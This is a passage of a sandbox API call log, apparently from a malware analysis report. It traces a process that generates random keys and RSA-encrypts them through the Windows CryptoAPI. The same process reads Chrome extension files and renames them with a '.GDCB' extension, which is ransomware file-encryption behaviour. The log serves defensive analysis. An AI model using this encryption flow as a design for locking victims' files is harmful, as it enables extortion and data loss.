dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0237.993] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0237.997] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0237.999] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0237.999] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0237.999] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0237.999] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0238.002] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.004] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0238.004] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.006] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0238.009] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b1f38) returned 1 [0238.009] CryptGetKeyParam (in: hKey=0x66b1f38, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0238.009] CryptEncrypt (in: hKey=0x66b1f38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9860000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0x9860000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0238.009] GetLastError () returned 0x0 [0238.009] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.009] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0238.012] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x66b1bb8) returned 1 [0238.012] CryptGetKeyParam (in: hKey=0x66b1bb8, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0238.012] CryptEncrypt (in: hKey=0x66b1bb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9870000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0x9870000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0238.012] GetLastError () returned 0x0 [0238.012] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.012] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_metadata\\verified_contents.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.029] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.032] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.034] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.034] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0238.034] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.034] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.037] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.039] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.039] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0238.040] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.040] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0238.043] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1b78) returned 1 [0238.043] CryptGetKeyParam (in: hKey=0x66b1b78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.043] CryptEncrypt (in: hKey=0x66b1b78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x9880000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0238.043] GetLastError () returned 0x0 [0238.043] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.043] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0238.046] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1af8) returned 1 [0238.046] CryptGetKeyParam (in: hKey=0x66b1af8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.046] CryptEncrypt (in: hKey=0x66b1af8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9890000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x9890000*, pdwDataLen=0x285d120*=0x100) returned 1 [0238.046] GetLastError () returned 0x0 [0238.046] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.046] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0238.048] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x98a0000 [0238.051] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x98b0000 [0238.056] ReadFile (in: hFile=0x424, lpBuffer=0x98b0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x98b0000*, lpNumberOfBytesRead=0x285d160*=0x1378, lpOverlapped=0x0) returned 1 [0238.099] VirtualAlloc (lpAddress=0x0, dwSize=0x1380, flAllocationType=0x3000, flProtect=0x4) returned 0x99c0000 [0238.105] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\128.png.gdcb")) returned 1 [0238.107] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0238.110] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.111] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.111] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0238.111] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.111] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.113] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.115] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.115] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0238.115] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.116] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4980) returned 1 [0238.118] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1b38) returned 1 [0238.118] CryptGetKeyParam (in: hKey=0x66b1b38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.118] CryptEncrypt (in: hKey=0x66b1b38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9880000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x9880000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0238.118] GetLastError () returned 0x0 [0238.118] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.118] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0238.120] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1bf8) returned 1 [0238.120] CryptGetKeyParam (in: hKey=0x66b1bf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.120] CryptEncrypt (in: hKey=0x66b1bf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x9890000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x9890000*, pdwDataLen=0x285d120*=0x100) returned 1 [0238.120] GetLastError () returned 0x0 [0238.120] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.120] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\contentscript_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.120] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4e48) returned 1 [0238.123] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.124] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.124] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0238.124] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.124] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0238.126] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.127] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.127] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0238.128] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.128] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0238.130] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1ef8) returned 1 [0238.131] CryptGetKeyParam (in: hKey=0x66b1ef8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.131] CryptEncrypt (in: hKey=0x66b1ef8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98a0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x98a0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0238.131] GetLastError () returned 0x0 [0238.131] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.131] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0238.133] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1c78) returned 1 [0238.133] CryptGetKeyParam (in: hKey=0x66b1c78, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.133] CryptEncrypt (in: hKey=0x66b1c78, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98b0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x98b0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0238.133] GetLastError () returned 0x0 [0238.133] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.133] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dasherSettingSchema.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\dashersettingschema.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0238.135] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.138] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.140] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.140] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0238.140] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.140] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.142] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.143] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.143] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0238.143] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.144] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0238.146] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1cf8) returned 1 [0238.146] CryptGetKeyParam (in: hKey=0x66b1cf8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.146] CryptEncrypt (in: hKey=0x66b1cf8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x98c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0238.146] GetLastError () returned 0x0 [0238.146] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.146] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4e48) returned 1 [0238.148] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1fb8) returned 1 [0238.149] CryptGetKeyParam (in: hKey=0x66b1fb8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.149] CryptEncrypt (in: hKey=0x66b1fb8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x98d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0238.149] GetLastError () returned 0x0 [0238.149] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0238.149] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0238.150] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x98e0000 [0238.152] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x98f0000 [0238.154] ReadFile (in: hFile=0x424, lpBuffer=0x98f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x98f0000*, lpNumberOfBytesRead=0x285d160*=0x5b6c, lpOverlapped=0x0) returned 1 [0238.173] VirtualAlloc (lpAddress=0x0, dwSize=0x5b70, flAllocationType=0x3000, flProtect=0x4) returned 0x9a00000 [0238.178] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\eventpage_bin_prod.js.gdcb")) returned 0 [0238.181] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4760) returned 1 [0238.183] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.184] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.184] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d104 | out: pbBuffer=0x285d104) returned 1 [0238.184] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.184] CryptAcquireContextW (in: phProv=0x285cfb4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cfb4*=0x5c4980) returned 1 [0238.186] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0238.188] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0238.188] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d0d0 | out: pbBuffer=0x285d0d0) returned 1 [0238.188] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0238.188] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0238.190] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1d38) returned 1 [0238.190] CryptGetKeyParam (in: hKey=0x66b1d38, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.190] CryptEncrypt (in: hKey=0x66b1d38, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98c0000*, pdwDataLen=0x285d11c*=0xc8, dwBufLen=0x800 | out: pbData=0x98c0000*, pdwDataLen=0x285d11c*=0x100) returned 1 [0238.191] GetLastError () returned 0x0 [0238.191] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.191] CryptAcquireContextW (in: phProv=0x285cfa4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cfa4*=0x5c4760) returned 1 [0238.192] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cfa8 | out: phKey=0x285cfa8*=0x66b1ff8) returned 1 [0238.192] CryptGetKeyParam (in: hKey=0x66b1ff8, dwParam=0x8, pbData=0x285cf94, pdwDataLen=0x285cf9c, dwFlags=0x0 | out: pbData=0x285cf94*=0x800, pdwDataLen=0x285cf9c*=0x4) returned 1 [0238.193] CryptEncrypt (in: hKey=0x66b1ff8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x98d0000*, pdwDataLen=0x285d120*=0xc8, dwBufLen=0x800 | out: pbData=0x98d0000*, pdwDataLen=0x285d120*=0x100) returned 1 [0238.193] GetLastError () returned 0x0 [0238.193] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0238.193] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\manifest.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x424 [0238.194] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x98e0000 [0238.196] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x98f0000 [0238.198] ReadFile (in: hFile=0x424, lpBuffer=0x98f0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d160, lpOverlapped=0x0 | out: lpBuffer=0x98f0000*, lpNumberOfBytesRead=0x285d160*=0x5b1, lpOverlapped=0x0) returned 1 [0238.207] VirtualAlloc (lpAddress=0x0, dwSize=0x5c0, flAllocationType=0x3000, flProtect=0x4) returned 0x9a00000 [0238.232] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User 